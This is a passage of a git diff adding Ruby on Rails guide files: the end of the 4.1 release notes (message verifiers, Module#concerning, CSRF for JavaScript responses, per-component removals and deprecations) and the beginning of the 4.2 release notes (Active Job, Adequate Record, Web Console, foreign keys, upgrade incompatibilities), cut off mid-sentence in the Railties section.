+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
+
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+ concerning :EventTracking do
+ included do
+ has_many :events
+ end
+
+ def latest_event
+ ...
+ end
+
+ private
+ def some_internal_method
+ ...
+ end
+ end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+ `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+ preloader](https://github.com/rails/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in
+ production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+ failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+ configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Added `Application#message_verifier` method to return a message
+ verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+* The `test_help.rb` file which is required by the default generated test
+ helper will automatically keep your test database up-to-date with
+ `db/schema.rb` (or `db/structure.sql`). It raises an error if
+ reloading the schema does not resolve all pending migrations. Opt out
+ with `config.active_record.maintain_test_schema = false`. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
+
+* Introduce `Rails.gem_version` as a convenience method to return
+ `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+ version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))
+
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+ `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+ | Removed | Successor |
+ |:-----------------------------------|:--------------------------------|
+ | ActionController::AbstractRequest | ActionDispatch::Request |
+ | ActionController::Request | ActionDispatch::Request |
+ | ActionController::AbstractResponse | ActionDispatch::Response |
+ | ActionController::Response | ActionDispatch::Response |
+ | ActionController::Routing | ActionDispatch::Routing |
+ | ActionController::Integration | ActionDispatch::Integration |
+ | ActionController::IntegrationTest | ActionDispatch::IntegrationTest |
+
+### Notable changes
+
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+ Update your tests to use `xhr :get, :foo, format: :js` instead of
+ `get :foo, format: :js`.
+ ([Pull Request](https://github.com/rails/rails/pull/13345))
+
+* `#url_for` takes a hash with options inside an
+ array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+ [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+ with the exception that the returned value is always saved into the
+ session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+ Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+* Log which keys were affected by deep
+ munge. ([Pull Request](https://github.com/rails/rails/pull/13813))
+
+* New config option `config.action_dispatch.perform_deep_munge` to opt out of
+ params "deep munging" that was used to address security vulnerability
+ CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))
+
+* New config option `config.action_dispatch.cookies_serializer` for specifying a
+ serializer for the signed and encrypted cookie jars. (Pull Requests
+ [1](https://github.com/rails/rails/pull/13692),
+ [2](https://github.com/rails/rails/pull/13945) /
+ [More Details](upgrading_ruby_on_rails.html#cookies-serializer))
+
+* Added `render :plain`, `render :html` and `render
+ :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) /
+ [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))
+
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Added mailer previews feature based on 37 Signals mail_view
+ gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+ generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+ `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+ with a `:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+ method. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+ `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+ suite. The class is no longer public and is only used for internal
+ Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+ in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+ and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+ Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+ `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+ Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders)
+ for more info.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+ explicitly to mark records as
+ `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+ as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+* Deprecated `rake db:test:*` tasks as the test database is now
+ automatically maintained. See railties release notes. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+ and `ActiveRecord::Base.symbolized_sti_name` without
+ replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
+### Notable changes
+
+* Default scopes are no longer overridden by chained conditions.
+
+ Before this change when you defined a `default_scope` in a model
+ it was overridden by chained conditions in the same field. Now it
+ is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+ a model's attribute or
+ method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+ models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+ `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+ `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+ named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+ attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+ map to integers in the database, but can be queried by
+ name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+ from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+ with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+ generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+ gets a `nil` argument. More specifically, it will throw an error if the
+ argument that it gets passed does not respond to to
+ `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+ query to fetch results rather than loading the entire
+ collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+ connection. This means that calling `inspect`, when the database is missing,
+ will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+ invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+ `:inverse_of` option on the association, then Active Record will guess the
+ inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+ ActiveRecord will now translate aliased attribute names to the actual column
+ name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on modules
+ included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified
+ explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+ to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))
+
+* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+ return an `Enumerator` that can calculate its
+ size. ([Pull Request](https://github.com/rails/rails/pull/13938))
+
+* `scope`, `enum` and Associations now raise on "dangerous" name
+ conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450),
+ [Pull Request](https://github.com/rails/rails/pull/13896))
+
+* `second` through `fifth` methods act like the `first`
+ finder. ([Pull Request](https://github.com/rails/rails/pull/13757))
+
+* Make `touch` fire the `after_commit` and `after_rollback`
+ callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))
+
+* Enable partial indexes for `sqlite >= 3.8.0`.
+ ([Pull Request](https://github.com/rails/rails/pull/13350))
+
+* Make `change_column_null`
+ revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))
+
+* Added a flag to disable schema dump after migration. This is set to `false`
+ by default in the production environment for new applications.
+ ([Pull Request](https://github.com/rails/rails/pull/13948))
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+ validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+ `ActiveModel::Dirty` that control changes state.
+
+* Ability to specify multiple contexts when defining a
+ validation. ([Pull Request](https://github.com/rails/rails/pull/13754))
+
+* `attribute_changed?` now accepts a hash to check if the attribute was changed
+ `:from` and/or `:to` a given
+ value. ([Pull Request](https://github.com/rails/rails/pull/13131))
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+ no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+ JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+ `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+ `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+ `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+ object.blank?` and `assert object.present?` instead.
+
+* Remove deprecated `#filter` method for filter objects, use the corresponding
+ method instead (e.g. `#before` for a before filter).
+
+* Removed 'cow' => 'kine' irregular inflection from default
+ inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+ explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+ ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+ `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+ has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12785) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+ been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/13060) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecate custom `BigDecimal`
+ serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+ JSON gem rather than doing custom encoding in pure-Ruby.
+ ([Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12862) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+ methods change current time to the given time or duration by stubbing
+ `Time.now` and `Date.today`.
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns
+ the current time to the original state, by removing the stubs added by `travel`
+ and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+ them to JavaScript functions like
+ `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+ methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+ `at_middle_of_day` as
+ aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `Date#all_week/month/quarter/year` for generating date
+ ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))
+
+* Added `Time.zone.yesterday` and
+ `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+ `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+ from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))
+
+* `blank?` and `present?` commit to return
+ singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))
+
+* Default the new `I18n.enforce_available_locales` config to `true`, meaning
+ `I18n` will make sure that all locales passed to it must be declared in the
+ `available_locales`
+ list. ([Pull Request](https://github.com/rails/rails/pull/13341))
+
+* Introduce `Module#concerning`: a natural, low-ceremony way to separate
+ responsibilities within a
+ class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
+
+* Added `Object#presence_in` to simplify value whitelisting.
+ ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
+
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md
new file mode 100644
index 0000000000..1e9107a8c6
--- /dev/null
+++ b/guides/source/4_2_release_notes.md
@@ -0,0 +1,842 @@
+Ruby on Rails 4.2 Release Notes
+===============================
+
+Highlights in Rails 4.2:
+
+* Active Job
+* Asynchronous mails
+* Adequate Record
+* Web Console
+* Foreign key support
+
+These release notes cover only the major changes. To learn about other
+features, bug fixes, and changes, please refer to the changelogs or check out
+the [list of commits](https://github.com/rails/rails/commits/4-2-stable) in
+the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.1 in case you
+haven't and make sure your application still runs as expected before attempting
+to upgrade to Rails 4.2. A list of things to watch out for when upgrading is
+available in the guide [Upgrading Ruby on
+Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2).
+
+
+Major Features
+--------------
+
+### Active Job
+
+Active Job is a new framework in Rails 4.2. It is a common interface on top of
+queuing systems like [Resque](https://github.com/resque/resque), [Delayed
+Job](https://github.com/collectiveidea/delayed_job),
+[Sidekiq](https://github.com/mperham/sidekiq), and more.
+
+Jobs written with the Active Job API run on any of the supported queues thanks
+to their respective adapters. Active Job comes pre-configured with an inline
+runner that executes jobs right away.
+
+Jobs often need to take Active Record objects as arguments. Active Job passes
+object references as URIs (uniform resource identifiers) instead of marshaling
+the object itself. The new [Global ID](https://github.com/rails/globalid)
+library builds URIs and looks up the objects they reference. Passing Active
+Record objects as job arguments just works by using Global ID internally.
+
+For example, if `trashable` is an Active Record object, then this job runs
+just fine with no serialization involved:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+ def perform(trashable, depth)
+ trashable.cleanup(depth)
+ end
+end
+```
+
+See the [Active Job Basics](active_job_basics.html) guide for more
+information.
+
+### Asynchronous Mails
+
+Building on top of Active Job, Action Mailer now comes with a `deliver_later`
+method that sends emails via the queue, so it doesn't block the controller or
+model if the queue is asynchronous (the default inline queue blocks).
+
+Sending emails right away is still possible with `deliver_now`.
+
+### Adequate Record
+
+Adequate Record is a set of performance improvements in Active Record that makes
+common `find` and `find_by` calls and some association queries up to 2x faster.
+
+It works by caching common SQL queries as prepared statements and reusing them
+on similar calls, skipping most of the query-generation work on subsequent
+calls. For more details, please refer to [Aaron Patterson's blog
+post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html).
+
+Active Record will automatically take advantage of this feature on
+supported operations without any user involvement or code changes. Here are
+some examples of supported operations:
+
+```ruby
+Post.find(1) # First call generates and cache the prepared statement
+Post.find(2) # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+post.comments
+post.comments(true)
+```
+
+It's important to highlight that, as the examples above suggest, the prepared
+statements do not cache the values passed in the method calls; rather, they
+have placeholders for them.
+
+Caching is not used in the following scenarios:
+
+- The model has a default scope
+- The model uses single table inheritance
+- `find` with a list of ids, e.g.:
+
+ ```ruby
+ # not cached
+ Post.find(1, 2, 3)
+ Post.find([1,2])
+ ```
+
+- `find_by` with SQL fragments:
+
+ ```ruby
+ Post.find_by('published_at < ?', 2.weeks.ago)
+ ```
+
+### Web Console
+
+New applications generated with Rails 4.2 now come with the [Web
+Console](https://github.com/rails/web-console) gem by default. Web Console adds
+an interactive Ruby console on every error page and provides a `console` view
+and controller helpers.
+
+The interactive console on error pages lets you execute code in the context of
+the place where the exception originated. The `console` helper, if called
+anywhere in a view or controller, launches an interactive console with the final
+context, once rendering has completed.
+
+### Foreign Key Support
+
+The migration DSL now supports adding and removing foreign keys. They are dumped
+to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql`
+adapters support foreign keys.
+
+```ruby
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+```
+
+See the API documentation on
+[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
+and
+[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key)
+for a full description.
+
+
+Incompatibilities
+-----------------
+
+Previously deprecated functionality has been removed. Please refer to the
+individual components for new deprecations in this release.
+
+The following changes may require immediate action upon upgrade.
+
+### `render` with a String Argument
+
+Previously, calling `render "foo/bar"` in a controller action was equivalent to
+`render file: "foo/bar"`. In Rails 4.2, this has been changed to mean
+`render template: "foo/bar"` instead. If you need to render a file, please
+change your code to use the explicit form (`render file: "foo/bar"`) instead.
+
+### `respond_with` / Class-Level `respond_to`
+
+`respond_with` and the corresponding class-level `respond_to` have been moved
+to the [responders](https://github.com/plataformatec/responders) gem. Add
+`gem 'responders', '~> 2.0'` to your Gemfile to use it:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+ respond_to :html, :json
+
+ def show
+ @user = User.find(params[:id])
+ respond_with @user
+ end
+end
+```
+
+Instance-level `respond_to` is unaffected:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+ def show
+ @user = User.find(params[:id])
+ respond_to do |format|
+ format.html
+ format.json { render json: @user }
+ end
+ end
+end
+```
+
+### Default Host for `rails server`
+
+Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc),
+`rails server` now listens on `localhost` instead of `0.0.0.0` by default. This
+should have minimal impact on the standard development workflow as both
+http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before
+on your own machine.
+
+However, with this change you will no longer be able to access the Rails
+server from a different machine, for example if your development environment
+is in a virtual machine and you would like to access it from the host machine.
+In such cases, please start the server with `rails server -b 0.0.0.0` to
+restore the old behavior.
+
+If you do this, be sure to configure your firewall properly such that only
+trusted machines on your network can access your development server.
+
+### HTML Sanitizer
+
+The HTML sanitizer has been replaced with a new, more robust, implementation
+built upon [Loofah](https://github.com/flavorjones/loofah) and
+[Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is
+more secure and its sanitization is more powerful and flexible.
+
+Due to the new algorithm, the sanitized output may be different for certain
+pathological inputs.
+
+If you have a particular need for the exact output of the old sanitizer, you
+can add the [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer)
+gem to the `Gemfile`, to have the old behavior. The gem does not issue
+deprecation warnings because it is opt-in.
+
+`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not
+be maintained for Rails 5.0.
+
+See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/)
+for more details on the changes in the new sanitizer.
+
+### `assert_select`
+
+`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri).
+As a result, some previously-valid selectors are now unsupported. If your
+application is using any of these spellings, you will need to update them:
+
+* Values in attribute selectors may need to be quoted if they contain
+ non-alphanumeric characters.
+
+ ```
+ # before
+ a[href=/]
+ a[href$=/]
+
+ # now
+ a[href="/"]
+ a[href$="/"]
+ ```
+
+* DOMs built from HTML source containing invalid HTML with improperly
+ nested elements may differ.
+
+ For example:
+
+ ``` ruby
+ # content: <div><i><p></i></div>
+
+ # before:
+ assert_select('div > i') # => true
+ assert_select('div > p') # => false
+ assert_select('i > p') # => true
+
+ # now:
+ assert_select('div > i') # => true
+ assert_select('div > p') # => true
+ assert_select('i > p') # => false
+ ```
+
+* If the data selected contains entities, the value selected for comparison
+ used to be raw (e.g. `AT&amp;T`), and now is evaluated
+ (e.g. `AT&T`).
+
+ ``` ruby
+ # content: <p>AT&amp;T</p>
+
+ # before:
+ assert_select('p', 'AT&amp;T') # => true
+ assert_select('p', 'AT&T') # => false
+
+ # now:
+ assert_select('p', 'AT&T') # => true
+ assert_select('p', 'AT&amp;T') # => false
+ ```
+
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+* The `--skip-action-view` option has been removed from the
+ app generator. ([Pull Request](https://github.com/rails/rails/pull/17042))
+
+* The `rails application` command has been removed without replacement.
+ ([Pull Request](https://github.com/rails/rails/pull/11616))
+
+### Deprecations
+
+* Deprecated missing `config.log_level` for production environments.
+ ([Pull Request](https://github.com/rails/rails/pull/16622))
+
+* Deprecated `rake test:all` in favor of `rake test` as it now run all tests
+ in the `test` folder.
+ ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+* Deprecated `rake test:all:db` in favor of `rake test:db`.
+ ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+* Deprecated `Rails::Rack::LogTailer` without replacement.
+ ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce))
+
+### Notable changes
+
+* Introduced `web-console` in the default application Gemfile.
+ ([Pull Request](https://github.com/rails/rails/pull/11667))
+
+* Added a `required` option to the model generator for associations.
+ ([Pull Request](https://github.com/rails/rails/pull/16062))
+
+* Introduced the `x` namespace for defining custom configuration options:
+
+ ```ruby
+ # config/environments/production.rb
+ config.x.payment_processing.schedule = :daily
+ config.x.payment_processing.retries = 3
+ config.x.super_debugger = true
+ ```
+
+ These options are then available through the configuration object:
+
+ ```ruby
+ Rails.configuration.x.payment_processing.schedule # => :daily
+ Rails.configuration.x.payment_processing.retries # => 3
+ Rails.configuration.x.super_debugger # => true
+ ```
+
+ ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db))
+
+* Introduced `Rails::Application.config_for` to load a configuration for the
+ current environment.
+
+ ```ruby
+ # config/exception_notification.yml:
+ production:
+ url: http://127.0.0.1:8080
+ namespace: my_app_production
+ development:
+ url: http://localhost:3001
+ namespace: my_app_development
+
+ # config/production.rb
+ Rails.application.configure do
+ config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+ end
+ ```
+
+ ([Pull Request](https://github.com/rails/rails/pull/16129))
+
+* Introduced a `--skip-turbolinks` option in the app generator to not generate
